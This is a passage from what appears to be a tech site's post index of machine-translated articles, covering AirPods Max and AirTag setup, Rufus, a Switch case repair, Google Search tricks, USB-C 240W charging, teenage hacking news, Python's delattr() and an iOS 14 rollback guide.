TV\nTo use the new AirPods Max on Apple TV, your device must be running tvOS 14.3 or later. Check for the latest software by going to Settings\u0026gt; System\u0026gt; Software Updates and selecting Update Software .\n  Install AirPods Max on iOS devices Take the AirPods Max out of the box and bring them closer to the connected device. Wait for the installation signal to appear on the device screen, if not, you can install it manually by going to Settings\u0026gt; Bluetooth . If you don't see the status light on your AirPods Max, try resetting your headphones and repeat the steps above. Click Connect to connect the AirPods Max to your device, or install features like Hey Siri if you haven't already. If you want to experience the Spatial audio feature, click See \u0026amp; Hear How It Works . Finished, press Done . If you're signed in to iCloud, the AirPods Max will automatically connect with any other device that is also logged into the same iCloud account.\nConnect the AirPods Max to your Mac computer As above, if you are logged into the same iCloud account on different devices, the AirPods will automatically connect to those devices.\nIf there's no connection, click the Bluetooth option on the menu bar or the volume button on your Mac, then choose AirPods Max from the list. If you don't see the headset in this list, manually connect the following steps:\nChoose System Preferences from the Apple menu, then click Bluetooth . Select Bluetooth is On , press and hold the noise control button on the headset until the light comes on. Select AirPods Max in the list of devices, then click Connect . If the sound is still coming from the computer speakers, click the volume icon in the menu bar, select the AirPods Max as the audio output device.\nConnect AirPods Max to Android devices You can use AirPods Max with Android phones and other Bluetooth enabled devices. Although the Hey Siri feature cannot be used, you can still block the noise or use the normal audio attention mode.\nTo connect the AirPods Max to Android phones or non-Apple devices, turn on Bluetooth and follow these steps:\nOn the Android device, go to Settings\u0026gt; Connections\u0026gt; Bluetooth . Hold down the noise control button on the AirPods Max until the light comes on. Select AirPods Max in the list of Bluetooth devices. You can change the behavior of physical keys on the AirPods Max, including reversing the Digital Crown button and customizing the noise control button.\nairpods max ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIyapZ1lk6S7r7HCrWSaoaKlvKW%2FjKaYsQ%3D%3D\n","link":"/post/how-to-set-up-and-connect-airpods-max/","section":"post","tags":null,"title":"How to set up and connect AirPods Max"},{"body":"In this article, we will explore the process of setting up and pairing AirTag with an iPhone or iPad\nHow to pair AirTag with an iPhone or iPad Basically, the AirTag connects to your iPhone or iPad via Bluetooth LE and Apple's custom U1 (Ultra Wideband) chip.\nStart by taking your AirTag out of its packaging and removing the protective plastic. When the last piece of plastic is removed, the AirTag will play a short chime indicating the unit is ready for use.\nNext, place the AirTag near the iPhone or iPad you want to pair. Note, your phone or tablet must be running on iOS 14.5, iPadOS 14.5 or later. The devices will automatically detect Bluetooth trackers. When the pop-up message appears on the iPhone or iPad screen, press the 'Connect' button.\n  If the on-screen dialog box doesn't appear after a few seconds, lock your iPhone or iPad, unlock it again, and bring the AirTag closer to the Side / Power button (the power button).\nYou can now assign a name to AirTag for easy management. If you do not like one of the default names, you can choose the \"Custom Name\" option and give it a name you want.\nClick the 'Continue' button to continue.\n  Another pop-up message will show the email address and phone number associated with your Apple ID. This information will be attached to your AirTag in case it gets lost and someone tries to identify the owner (which is you).\nClick 'Continue' to complete AirTag registration with your Apple ID.\n  Wait a moment and the AirTag setup will complete automatically.\n  AirTag has now successfully paired with your iPhone or iPad, and has been added to the Find My list. A message will appear, briefly explaining some of the search methods you can use in the event of a lost accessory. Click on 'View in Find My App' to see AirTag's performance status.\n  You can now click on the 'Done' link to exit the completed setup.\nIn the Find My app, you'll see a live map of the AirTag's location that is constantly updated in real time (if it's within Bluetooth range of your iPhone, iPad, or Mac). Along with that are the button to play an alarm sound and the option 'Find' to accurately locate the accessory if your iPhone has a U1 chip (iPhone 11 or later).\n  Alternatively, you can mark the AirTag as lost, rename the item, and remove the Bluetooth tracker from the Apple ID and Find My network.\nAirTag apple ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIyapZ1loJa2s3nAoqmtmZdixKrAx2aYp2WZpbWwusRmpqtlmaWupQ%3D%3D\n","link":"/post/how-to-set-up-and-pair-airtag-with-an-iphone-or-ipad/","section":"post","tags":null,"title":"How to set up and pair AirTag with an iPhone or iPad"},{"body":"Rufus is a program that allows you to create a bootable USB drive from an .iso file, which is helpful when you want to install programs and operating systems on Windows-based computers that lack an optical disc drive. To use Rufus, you...\nPart 1of 2:\nUsing Rufus  Navigate to the official Rufus website at https://rufus.akeo.ie/.\n  Scroll to the 'Downloads' section, and select the option to download the latest version of Rufus to your Windows-based computer.\n  Double-click on Rufus to launch the application when the download is complete. No additional installation is necessary.\n  Insert the USB drive you want to use with Rufus into an open USB port on your computer.\n  Transfer any personal files stored on the USB driveto your computer prior to using Rufus. Rufus will format and erase all data from your USB drive.\n  Select your USB drive from the 'Device' dropdown menu in Rufus. In most cases, your USB drive will be listed as 'No_Label.'[1]\n  Place a checkmark next to 'Create a bootable disk,' and select 'ISO Image' from the dropdown menu. An .iso file is an image file that contains all contents of a specific file system, such as an operating system.\n  Click on the drive image logo displayed to the right of 'ISO Image,' and select the .iso file you plan on using with Rufus.\n  Click on 'Start,' then click on 'OK' to confirm that you want to erase and format the USB drive for use with Rufus. Rufus will start copying the contents of the .iso file to your USB drive, which may take up to five minutes to complete.[2]\n  Click on 'Close' when Rufus finishes preparing your USB drive.\n  Eject the USB drive from your computer.\n  Verify that the computer on which you want to install the .iso file is powered off, and insert the USB drive into an available USB port.\n  Power on the computer. Your computer will automatically boot from the USB drive using the .iso file, and you can now install your program or operating system as desired.[3] If your computer does not automatically boot from USB, follow these steps to modify BIOS settings and boot from USB.  Part 2of 2:\nTroubleshooting Rufus  Place a checkmark next to 'List USB Hard Drives' in Rufus if the program fails to detect your USB drive. Some USB drives may not be compatible with Rufus. Click on the arrow next to 'Format Options' to access the advanced options panel in Rufus.   Try using another USB flash drive if you receive the message, 'Device eliminated because it appears to contain no media' when using Rufus. This error normally indicates that the USB drive is no longer able to detect memory, or is out of rewrites.\n  Try re-enabling automounting on your computer if you receive the message, 'Error: [0x00000015] The device is not ready.' This error may occur if you previously disabled automounting.[4] Type 'cmd' into the search box in Start or Windows Explorer. Right-click on 'cmd.exe,' then select 'Run as administrator.' Type 'mountvol /e' into the dialog box, then press 'Enter.' Close the command prompt window, then try using Rufus again.   Isabella Humphrey Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqzwcWuqg%3D%3D\n","link":"/post/how-to-use-rufus/","section":"post","tags":null,"title":"How to Use Rufus"},{"body":"New Horizons for days, jostling it out of the dock in the mornings while we've been stuck at home. I told them to be careful -- then I saw the crack on the back.\n It wasn't a big crack. But it was there. Of course, I freaked out.\nI have issues with things breaking. And I'm not a repair-oriented person. I don't have fix-it in my blood. My backyard is a mess. Disorder terrifies me, and yet it happens. And sooner or later, electronics get damaged.\nThe Nintendo Switch has some known problems: Joy-Cons occasionally breaking, and Switch cases cracking along the vents or along the corners on the back. I googled my problem and saw a lot of others had similar cracks in well-used systems, too.\u0026nbsp;\n  So maybe it wasn't it my youngest kid, who I blamed. I took a breath. I looked up how to fix it. Because, right now, Nintendo Switch systems aren't easy to buy, Nintendo has paused official repairs, and we're not going out anywhere anytime soon.\nI've seen others posting pictures of their Switches with new colorful cases they put on, and Joy-Con kits they carefully assembled, or even Joy-Con fixes. A cracked plastic back? Come on, Scott. You can do this.\niFixit immediately came up in my search with a great step-by-step guide. You should use it. I'm here to tell you how I did following that guide, and what I ordered.\nAlso, be aware that self-repairs like this could void your warranty, if you still have one. And to be safe, just make sure you've backed up cloud saves for your games.\n  Going shopping I went to Amazon to get some spare parts: a rear case and front cover that seemed very well-reviewed, so I bought it ($9.99). I looked for Switch repair tools, and went with a set that had a bunch of big, separate (vs. interchangeable head) screwdrivers (currently $21, but I paid $18.89). Total: $30.79.\nThey took a week to arrive -- not as long as some orders right now, maybe because they're for repairs. I let them sit a few days because of coronavirus (just to be sure), and wiped them down with Clorox wipes.\nThen, I started.\n  First: The unscrewing The next steps involved taking the original rear case off. Some advice before proceeding:\nLay the Switch face-down on a soft cloth. You don't want to scratch it up.\nPull off the kickstand. You'll need that off before removing the rear cover. It's easy to take off, and Nintendo has a guide. Push in a bit on one side. Attaching later is similar but in reverse.\nBe very careful with the screws.\u0026nbsp;The tri-wing specialized screws, and some Phillips-head screws, are incredibly small. Some are also very short. I unscrewed them all in the order iFixit recommended, four corners first.\n  Those were OK, but some felt stuck with grime. I was extremely worried about stripping the tri-wing screws. I kept the screwdriver still and turned firmly but gently at the same time.\nThank goodness the screwdrivers are magnetized, keeping the screws attached a bit after removing. I placed them in little dishes, to remind myself what step they were from. I dared not drop one by accident.\nNext came the Micro SD card slot screw, which wasn't as tightly attached. Then came two Phillips head screws on the bottom, on either side of the USB-C port. Then, a Phillips head screw just to the side of the top vent. Then, the middlemost screw on the side rails where the Joy-Cons normally slide in, one on each side. I pulled the plastic off gently; it got stuck a bit. I noticed how much dust there was, and some of the plastic tabs had already broken off.\n  There are more steps than you think At this point, iFixit said to reverse the steps. But I realized there were still some missing parts to my Switch rear cover:\u0026nbsp;\nThe cartridge slot cover was on the original cover, but not on my new one. A little bracket near the Micro SD card slot wasn't on my new cover, either. Nor were the little vent grille covers on the bottom of the cover, or little foam squares on the corners. I went into a panic now, but decided to just move the parts over. I gently unscrewed the SD card and cartridge parts and reinstalled them on the corresponding areas of the new cover.\nThe vent covers, those weren't as easy. I saw people online had gently peeled off and glued on. They're little strips of plastic. I pulled them off, and found they had just enough stickiness left to stick on again like a sticker, and kind of move on from there. The foam corner squares I didn't worry about.\n  Unexpected panic: The lower plastic tabs Then I hit a serious snag. I tried snapping the new cover on, but it wouldn't fit. One bottom plastic corner wouldn't snap in. It looked like the hole in my Switch wasn't deep enough for the tab.\nI have no idea what happened here. Nothing was left in my Switch that I could see, and the rear cover I removed was missing that plastic tab completely. I couldn't find anything online that matched my problem.\nIt was time to improvise. I tried sawing the plastic tab off.\nI used a pocket knife and started gently trying to remove the plastic tab from the rear cover without breaking everything. This is where I felt like I'd seriously gone off road. Amazingly, the tab broke off and I was able to snap the cover on. Not ideal by any means, but it worked.\u0026nbsp;\nThe rear cover was on, and all the missing pieces were now attached. Things looked like they were going in the right direction.\u0026nbsp;\nScrewing everything back in: Be even more careful! I screwed the screws back in, in reverse order, backtracking through the steps I took in the first place. Tiny screws are even harder to get back in than they are to take out. I tried lowering them in and then positioning them on the magnetic screwdriver, and very carefully screwing back in, not over-tightening at all. I sweated. I may have stripped a few screws a bit. I'm never doing this again, I told myself.\n  Total time: About an hour (including filming the whole process) I tried to document my repairs by propping up an iPad and showing what I was doing. And I took things really slowly. It was about an hour of work. I got really stressed.\u0026nbsp; But I was damn proud when I was done. And then, I turned on the Switch to make sure it worked. Yes, everything seemed (and seems) fine.\u0026nbsp;\nI did it.\nI showed my son how the cracked back was all nice and smooth now, all fine.\nHe just nodded and asked to play Animal Crossing.\nI gave him the Switch, and went to the kitchen to do dishes and make dinner. I felt more sure of myself in a world where I've been feeling out of control. I took a breath. Repairs can happen, new skills can be learned. Broken Switches can be fixed. This is my little story of my own anxieties. I hope you feel confident enough and careful enough to face yours, too.\nncG1vNJzZmismaXArq3KnmWcp51ktqd52KisZpqimq6sediorKtlnp67tbHNnaZmq6eewaS0jKWgpJ1dnnqltcNmn56qlah6qbvWZquoZZaexW610w%3D%3D\n","link":"/post/if-you-break-your-nintendo-switch-like-i-did-here-s-how-to-fix-it/","section":"post","tags":null,"title":"If you break your Nintendo Switch like I did, here's how to fix it"},{"body":"Google Search is the largest information search tool in the world. You can search hundreds, thousands of different information on Google Search. Besides, Google is also very interesting when it comes to programming besides interesting things for users to explore. Please refer to the article below to discover more interesting things that you didn't know about Google Search.\nNote: To make sure all of these tips are available, switch the language currently used on the Google search engine to English. To switch languages ​​into English, you visit the 'Google.com' website, then look down directly under the search box will have the words Settings\u0026gt; Language\u0026gt; English.\nInteresting Google Search features 1. Many games are hidden on Google Search 2. Use Google translate to translate text 3. Read \"big\" numbers in words 4. Use Google search as a calculator to help you calculate 5. Solve geometric problems 6. Graph the function 7. Calculate the tip% 8. Online currency conversion 9. Change online measurement units 10. Translate into different languages 11. Use Google Timer to make a timer 12. Check the time of sunrise and sunset 13. Display weather information 14. Check your flight status 15. Calculate distance and time of locations 16. Search for time to show your favorite movie 17. Search for title by author name 18. Rotate the Google search interface 19. Toss a random coin with Google 20. Toss dice with Google 21. The search screen rotates 360 degrees 22. Listen to the familiar sound of Marino game 23. Entertainment with animal sounds 24. Read funny facts about everything in the world 25. Experience the Google interface in 1998 26. Listen to Sonic's familiar sound 27. Try to find recursion 28. Search results appear pole 29. The answer to life, the universe and everything 30. Listen to the coin-eating sound of Super Mario Bros 31. Ask if Google collapses? 1. Many games are hidden on Google Search In addition to the ability to play dinosaur games when losing your life, you can still play this game, follow the instructions in this article: How to play games on Chrome when you lose your life and have the Internet. And there are many hidden games on Google that TipsMake.com has compiled. You will have gentle relaxation moments right on the browser without getting everyone's attention during working hours.\n2. Use Google translate to translate text   \nYou can use Google translator to translate necessary documents and documents in different languages ​​into Vietnamese.\n3. Read \"big\" numbers in words   \nGoogle search will guide you how to read \"terrible\" numbers in words, just go to the search field and type the numbers then add the sign (=) and the language you want to pronounce. Google can read terrible numbers up to 13 numbers.\n4. Use Google search as a calculator to help you calculate   \nYou can type in the math command line on the Google search box and Google will become your computer.\n5. Solve geometric problems   \nWith Google search you can solve problems related to geometry such as circles, triangles, rectangles, squares, ellipses . Just type \"slove\" and add the image you want to solve. In the following example is the problem solving section related to triangles. On the search section type \"solve triangle\" . Google will search for you problems and solutions on calculation such as calculating area, height, circumference .\n6. Graph the function   \nYou can draw some basic function graphs with Google search. The search command is 'graph for .' with the . sign as a function graph to draw. For example 'graph for y = x ^ 2 ' or \"graph for tan (x)\" , the result will look like the image below.\n7. Calculate the tip%   \nIf you are not very good at calculating, you can use Google search to calculate revenue% or commission%. Just search the \"tip calculator\" on the search section, enter your invoice number, tip% and the number of share contributors to calculate the tip amount.\nLearn more: Google Chrome user tips should know\n8. Online currency conversion   On the search section, simply type the amount to be converted and the currency you want to convert, select the currency you want to convert and click the search item or press Enter. Google search will currently convert money to the unit you need.\n9. Change online measurement units   \nOn Google search you can change online measurement units such as: from pound (or lbs - British weight measurement unit) to kilograms (kgs). You can also change other options such as: temperature, length, volume, velocity, volume, area, fuel consumption, time and digit memory .\n10. Translate into different languages   \nIf you want to quickly translate short phrases from one language to another, simply type the language you want to change and the language you want to change on the search. Then enter the phrase you want to change into the text . Google search will translate into languages ​​that help you.\n11. Use Google Timer to make a timer   \nIf you are in need of a timer, Google search can help you. Go to search section type Google Timer , you can choose any time. Then Google Timer will count down and run until the clock returns to zero.\n12. Check the time of sunrise and sunset   \n  You can check the sunrise time and sunset time in the city you live in or in another city in the world. Just type the command \" sunset or sunrise + city name\" (sunrise or sunset + city name you want to search) to search for results.\nRefer to: How to make Google Chrome run faster?\n13. Display weather information   \nYou can easily display weather and weather information for cities around the world by searching for the 'forecast' statement included with the city code. The 'LA forecast' example will display the time information. Details of Los Angeles.\n14. Check your flight status   \nA handy trick that helps you quickly check the time, location . any flight. Or if someone picks you up at the airport, you just need to give them your flight number and they can check your flight status. For example, flight information PK304.\n15. Calculate distance and time of locations   \nIf you are planning to prepare a trip somewhere to play. You don't know how far away from the location you live to how far you want to go and how much time it takes.\nYou can use Google search to find how far the distance between the destination and the point you live in will calculate the specific time.\n16. Search for time to show your favorite movie   \nOn the search section, you just need to type \"movie name\" and add \"release date\", Google search will find you the schedule for the movie you are looking for.\n17. Search for title by author name   \nJust type \"books by author name\" (book + author's name). For example book by John Green . All titles by the name of the author you search will be searched by Google and included with the year of publication.\n18. Rotate the Google search interface   \nIf you want to show your friends a good game or simply troll your friend. Search for the word 'askew', now your screen can \"tilt\" or \"rotate\", . an extremely interesting side.\n19. Toss a random coin with Google   Sometimes in life there are problems that make you wonder which one to choose, at this time we often toss coins and leave our fate to eat. But now with modern technology, instead of launching coins in real life, you can go to Google to launch a virtual coin. Look for the phrase 'flip a coin' , the result will be one of two. To re-launch, press f5 or select the word ' Flip it '.\n20. Toss dice with Google   Just like tossing coins, Google even has virtual dice. This virtual feature also has 6 faces for you to choose from. To try this feature, simply tap the search bar \"Roll a die\" and try the experience.\n21. The search screen rotates 360 degrees   During the working hours if you feel depressed and want to change the play screen a bit, try searching for the phrase 'Do a barrel roll' and 'Z or R twice', you will see the computer screen immediately. Your will rotate an extremely interesting 360 degree, let's try exploring now.\n22. Listen to the familiar sound of Marino game   Mario is a game that is associated with the generation of many young generations of 8x. If you want to go back to your childhood and search for a certain memory domain, you can type in the search for 'super mario bros' and click on the box with the question mark in it to enjoy the sound and remember the days when we were young.\n23. Entertainment with animal sounds   If your family has young children then surely this trick on Google will be very interesting and attract you. To help your child recognize and distinguish animals, you can let them hear the sounds of animals. Just type the phrase 'what sound does a dog make' here not only with the barking of dogs but also a lot of other animal sounds.\n24. Read funny facts about everything in the world   If in your free time you don't know what to do and find something interesting to read, you can go to Google and search for the phrase fun facts or I'm feeling curious to read interesting facts in the world. Just click Ask Another Question to read another truth.\n25. Experience the Google interface in 1998   Let's go back to the past a bit to see how the Google interface in 1998 will look, to see this interface, search for the phrase 'Google in 1998' you will see the Google interface in 1998. return. Try the experience now.\n26. Listen to Sonic's familiar sound   Similar to Mario above, you only need to search for 'Sonic the Hedgehog', then click on the Sonic image on the right of the screen.\n27. Try to find recursion If you are a programmer, you probably know the meaning of the recursion - a term related to the function calling itself back. Have you tried typing this word on the Google search bar? If not, try and see if Google helps you understand the meaning of this word.\nHint: When you enter the recursion into the search bar, Google asks again: You want to find the recursion, click continuously from Google hint and let me know the result by commenting below!\n28. Search results appear pole This interesting point is for the Seinfeld fans. When you enter Festivus , you will see a big pole appear on the left hand side of the screen.\n29. The answer to life, the universe and everything If you search: \"answer to life, the universe, and everything\" (answers to life, the universe and everything) on ​​Google will get an answer of 42, this is a reference number Check out The Hitchhiker's Guide to the Galaxy by Douglas Adams.\n30. Listen to the coin-eating sound of Super Mario Bros If you are a fan of Super Mario Bros, the sound of eating coins in the game has become too familiar to you, right. Just enter Super Mario Bros? into the search bar, looking to the right of the search results, will you see the block? moving, clicking on it will hear this familiar coin-eating sound.\n31. Ask if Google collapses? If you enter \"Is Google down\" in the search box to ask if Google has crashed, it will immediately receive an \"No\" answer - No.\nSee more:\nHow to create and manage shared albums on Google Photos 18 tips to help you master Google Photos How to limit the time of sharing links on Google Drive ncG1vNJzZmismaXArq3KnmWcp51ktq%2FAxKucrKyZo7RuwMeipaCrXZavsMHTZp6op5ehsm6%2FxJqpnKBdrry2ecyasGamn6l6rLrOsA%3D%3D\n","link":"/post/interesting-things-about-google-search-you-may-not-know/","section":"post","tags":null,"title":"Interesting things about Google Search you may not know!"},{"body":"It can be said that one of the factors contributing to the rapid development of fast charging technology on smartphones in general is the ability to support the large voltage transmission capacity of the USB Type-C standard. Recently, in a post on the USB Implementers Forum (USB-IF) website, the USB Type-C protocol will soon welcome a new version with the ability to support output power up to 240W - a number that is quite long. impressive period.\nSpecifically, according to information extracted from the USB Type-C specification revision 2.1, along with the USB Power Delivery specification revision released by USB-IF a few days ago, cables and hardware devices This new generation USB-C 2.1 standard will be able to support a maximum charging capacity of 240W, instead of being limited to 100W on the current USB-C 2.0 standard. That is more than double!\nHowever, such a large power level will not be arbitrarily utilized by default, but will instead need to be activated through the included Extended Power Range (EPR) mode for safety and reliability. reliable during charging. At the same time, devices such as smartphones, tablets or laptops . will also have to support voltages up to 48V and 5A current to be compatible with this new standard.\n  In general, the appearance of Type-C 2.1 is likely not to create many notable changes to the world of smartphones and tablets. Simply because these compact mobile devices do not inherently need such a large amount of charging capacity (and hardware limitations are also a big barrier). However, there will be noticeable improvements in charging capacity for laptops.\nWhile most ultra-thin and light notebook models today can be powered via a USB cable, there are some dedicated gaming laptops that often require more power input than the same input. exclusive connections, as they require more than 100W of power to keep the power charging in faster than draining the battery. Support for 240W charging via USB Type-C could help bring the USB connector to more laptop models, eliminating the need to use different connector standards for each separate device type.\nIn addition, the increased power transmission will also allow manufacturers to integrate USB Type-C for more peripherals, such as large 4K monitors, printers, etc. hardware state with high compatibility.\nCables that support the new specification will still be compatible with devices using older versions of USB Type-C, so the 240W charger can be used with any device that supports it. At the same time, USB-IF says that devices that support USB Type-C 2.1 will have to be electronically marked to ensure they don't cause problems when users try to use the high-voltage charger.\nfast charging ncG1vNJzZmismaXArq3KnmWcp51ku6bDjK6nnKednruoedSsmWasqaWypHnSrZinnJGnsW6vwKdkrK2gpbyzwIyup2asn2J%2FdXzWZpqhmaKctq%2BzjKmmsJ2i\n","link":"/post/new-upcoming-usb-type-c-standard-can-support-up-to-240w-charging-power/","section":"post","tags":null,"title":"New upcoming USB Type-C standard can support up to 240W . charging power"},{"body":"Recently, a 13-year-old 'young man' in the United States was investigated for allegedly illegally accessing and using personal data of a teacher, thereby breaking into the school's computer system to steal Personal information of other students and create a \"black list\" of the most hated students in the school.\nAccording to the details in the initial report from the ABC 22 news website, this 'youthful youth' is currently in the 'payroll' of Columbus City Junior High School (Columbus City Preparatory School for Boys ), in the state of Ohio, northeastern United States. And according to what the police discovered, this boy had successfully infiltrated the Columbus City Junior High School teacher account and created a new website containing 'blacklist of the most obnoxious students'. in school ', including names, ID numbers and birth dates for' victims'.\nColumbus City Junior High School's board of directors also confirmed to ABC 22 that the 13-year-old male stole personal information from about 60 other students connected to the school's monitoring system, and used the information. above to build a website titled \"User Names and Passes for Columbus Schools\".\n  So frustrated with the learning situation, students hack the school's computer system The students on the list received a threat Not only that, the incident became more serious and could involve violence when police said that the male student had talked to a friend of his about breaking his house. the ones on the blacklist I created. In addition, the school side also noted many angry comments from the parents of their children before their children received such a threatening and \"humiliating\" message.\nAfter accusations from both parents and authorities, the Columbus City high school spokesperson directly contacted the families of all the students named in the list to send an apology, and inform them of the details of the ongoing investigation.\nThis makes many people surprised by the thought of most adults, a 13-year-old child sometimes can not use proficient computer programs complex, let alone hacked into even the school management system. In fact, this is not the first time a child in this age has been found behind many similar scandals related to information technology.\n  Counter-Strike 1.6 features new Zero-Day, allowing malicious servers to hack gamers' computers It can be mentioned as a case in 2017 when a male student successfully entered the data management system of Tenafly, NJ High School to change the transcript and submit his college application. wrong direction.\nMore seriously, in September 2017, the police in Nara, Japan, also decided to arrest a 13-year-old boy living in Osaka accusing the boy of advertising and selling a mobile software. Malicious designed to lock smartphone screens and make them unusable.\nThat same summer, Japanese police arrested another boy, this time a 14-year-old male from Takatsuki, accused of developing a malicious ransomware using bits and the code he found on the internet, then uploaded this malicious code onto the online network.\nTanmay Bakshi, a 14-year-old boy, became an advisor to IBM, an AI expert The airport and electronic money management system has also become the target of many 'teenage hackers'. Not only stop at the illegal intrusion into school management systems, many teenagers and young people even aim at significantly larger targets, such as airport management networks or wallet theft. electronic money.\nRemember at the beginning of January 2017, a 14-year-old American teenager living in Pittsburgh, Pennsylvania, acknowledged the behavior of attempting to attack the IT management systems of Brussels Zaventem airport, on March 23, 2016, that is, just one day after ISIS terrorism saw two bombings at the station and Brussels city airport killed 32 people (March 22, 2016).\nWhen interrogated by the FBI about the motives leading to such dangerous behavior, he said he thought it was a good time to \"try\" to hack the airport after finding that airport staff would have to be very busy with remedial tasks after the bombing.\n  Kevin Mitnick shares tips and tricks that hackers often use Another notable incident happened in February 2018, when a 17-year-old boy from Japan was arrested for allegedly creating malicious software that steals a private key for a wallet Electronic money of many people. In addition, Michaela Gabriella King, an 18-year-old teenager from Murrysville, Pennsylvania, was also accused by the US government for launching DDoS attacks against Franklin Regional High School using DDoS software. BetaBooter.\nEarlier last week, a Tokyo police department spokesman said an 18-year-old Japanese teenager faced criminal charges for stealing a large amount of electronic money worth up to $ 130,000 (similar after about 15 million yen) after being confirmed as behind the hacking of Monappy social network and Monacoin e-wallet network.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjGpqsp2Rp7ytsIyhmJyjlad6prrTnqmsZaSdsm6%2FwqGmqKSjYrCwuc%2Buq56qXajGtMDEpmStp12Yv6at055kmmWcnsC1ec6fZK2glWK6sL%2FTZp%2BarJWZeqy1w6w%3D\n","link":"/post/the-13-year-old-hacker-enters-the-school-s-computer-system-to-create-a-list-of-the-most-hated-kids/","section":"post","tags":null,"title":"The 13-year-old 'Hacker' enters the school's computer system to create a 'list of the most hated kids'"},{"body":"The delattr () function in Python is used to delete an attribute from the specified object. How is the syntax of delattr () function, what parameters does it have and how to use it? Invites you to read the track.\nThe syntax of delattr () function in Python  delattr(object, name)  Parameters of delattr function ()   Delattr () has two parameters:\nobject: object name containing the deleted property. name: The name of the attribute you want to delete from the object. Value returned from delattr () Delattr () does not return any value. It only removes an attribute (if the object allows).\nExample 1: How does the delattr () function work?\nclass Toado: x = 10 y = -5 z = 0 \u0026nbsp; point1 = Toado() \u0026nbsp; print('x = ',point1.x) print('y = ',point1.y) print('z = ',point1.z) delattr(Toado, 'z') \u0026nbsp;\nprint('--Sau khi xoa thuoc tinh z--') print('x = ',point1.x) print('y = ',point1.y)  Run the program, the result is:\n x = 10 y = -5 z = 0 --Sau khi xoa thuoc tinh z-- x = 10 y = -5  In this example, the attribute z is removed from the Toado class using the delattr function (Toado, 'z').\nExample 2: Delete the attribute using the del operator .\nIn addition to using delattr, you can also remove the properties of an object using the del operator .\nclass Toado: x = 10 y = -5 z = 0 point1 = Toado() \u0026nbsp;\nprint('x = ',point1.x) print('y = ',point1.y) print('z = ',point1.z) \u0026nbsp;\n# Xoa bo thuoc tinh z del Toado.z \u0026nbsp;\nprint('--Sau khi xoa thuoc tinh z--') print('x = ',point1.x) print('y = ',point1.y)  Run the program, we get the same return result as example 1.\nPrevious article: compile () function in Python\nNext lesson: The dict () function in Python\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJ2cpZmkqb9ustSnmq2hn6N6qrqMqbCtoJ%2Bj\n","link":"/post/the-delattr-function-in-python/","section":"post","tags":null,"title":"The delattr () function in Python"},{"body":"Most of us think that digital technology is something cold and emotionless. But try asking those who used to play Nintendo games, used to love old portable CD players or black-and-white TVs, they will show you the true emotional connection between people and technology items we use. use.\nNostalgic is a formidable source of power in the technology world. Not only does it affect emotionally, it is really profitable.\nLet's look at the real case: Nokia, the one-time phone maker, sold 4.4 million smartphones in the previous quarter. Surprisingly, this number is larger than the sales of big men, including Google.\nSuper product Nokia 8 Sirocco, running Android One, the price of iPhone X The 'banana' legend in the Nokia 8110 Matrix comes back   Nokia 8 Sirocco and Nokia 8110 revived\nThis is good news for Nokia but is probably a bad sign of branding with Google and the Android ecosystem in general. If a distant telephone company can come back and overcome technology giants, where will the prospects for other phone manufacturers on Google's platform go?\nThe most detached person in the Android world is Samsung, a Korean phone maker making billions of dollars and becoming the perfect iPhone alternative for those who want to use Android.\nSamsung has done so by bringing its pre-rival features, beautiful design, strong marketing strategy and customer care at every stage. But Samsung is just a lonely island that has been successful in Android's fiasco defeat.\nLG continues to make no money from its smartphones. Sony has finally made a profitable phone after years of trying but falling sales and needing to stop high-end products - things that make real money. HTC is close to the brink of closing. Other small names like Lenovo, ASUS, OnePlus . are still far from global. The problem with Android phone manufacturers is in confusion about messages and brands.\nSony prides itself on image quality but the camera is laggy. LG tried to bring new features, like the second screen above the phone, but could not support it. Essential Phone sales, a rumored phone, are bad because almost nobody knows what it is. In addition, users cannot expect Android phones to become an ecosystem, with accessories or support. When you buy an iPhone or Samsung Galaxy, you know you can fix it when it is broken and it comes with a full cover and charger. But with other Android phones, it doesn't.\n  Galaxy S8 is Samsung's successful phone\nCustomer's choice depends on 2 things: first impression of the product and life expectancy with after-purchase services. That explains Nokia's recent unexpected success, which has been famous for bulletproof phones.\nThe Nokia brand is not even itself after being sold by Microsoft. HMD acquired the Nokia brand and now iPhone maker Foxconn will now manufacture the phone and label Nokia. That is the power of nostalgia and branding: Nokia as a company is no longer available but the name is still recognized enough to sell more than other competitors.\nBranding is not just about marketing. It is also the art of understanding customer psychology, creating a deep connection with the product so that someday users will remember it. This is not simple and the core lies in creating products that go with marketing strategies.\nIn the Android world, there are few brands that can do that. Samsung is one of the few with the highly rated Galaxy S8, possessing a smart marketing strategy and can say that it is 'mature', along with the iPhone.\nThe combination of message and product quality is what many other Android phones lack, making people rush to Nokia. Not only is the power of nostalgia, it is also a sign of the brand that when done properly, will last as long as the old Nokia phones.\nSee more:\nThe 34 best and worst phones in Nokia's calendar, which one is your spring? How has Hotmail forever changed Microsoft and the entire email world? Top 3 technology trends in 2018, which technology will change the game? ncG1vNJzZmismaXArq3KnmWcp51kxKmt02abqJ2jYq6vsNGooJ1lnJqus7qMn6mopV2jvKy1wKxkq52kqr%2Bv\n","link":"/post/what-does-android-learn-from-nokia-s-return/","section":"post","tags":null,"title":"What does Android learn from Nokia's return?"},{"body":"In fact, there are four reasons you shouldn't install it right now.\u0026nbsp;\nIf you want to try it out, here's how to download iOS 14 and iPadOS 14\u0026nbsp;on your iPhone and iPad. But if at any point you have installer's remorse after joining the public beta program, we'll show you how to retreat back to iOS 13 or iPadOS 13.\u0026nbsp;\nWiping the beta from your iPhone or iPad takes a little bit of effort and time. It's a process that goes a whole lot smoother if you back up your device before installing the beta. To roll back to iOS 13, you'll need to have access to a computer and a Lightning or USB-C cable to connect your device to your Mac or PC.\u0026nbsp;\n  Restore your iPhone or iPad to iOS 13 1.\u0026nbsp;In order to uninstall iOS 14 or iPadOS 14, you'll have to completely wipe and restore your device. If you're using a Windows computer, you need to have\u0026nbsp;iTunes installed\u0026nbsp;and updated to the latest version. If you're on a Mac, make sure your Mac's software is updated by clicking on the Apple logo at the top of your screen then selecting\u0026nbsp;System Preferences\u0026nbsp;\u0026gt;\u0026nbsp;Software Update.\n2.\u0026nbsp;Connect your iPhone or iPad to your computer using a Lightning or USB-C cable.\u0026nbsp;\n3.\u0026nbsp;Place your iPhone or iPad into recovery mode by using the steps, which are specific to your device, listed below. You'll know when you're in recovery mode when your device's screen is black, showing a 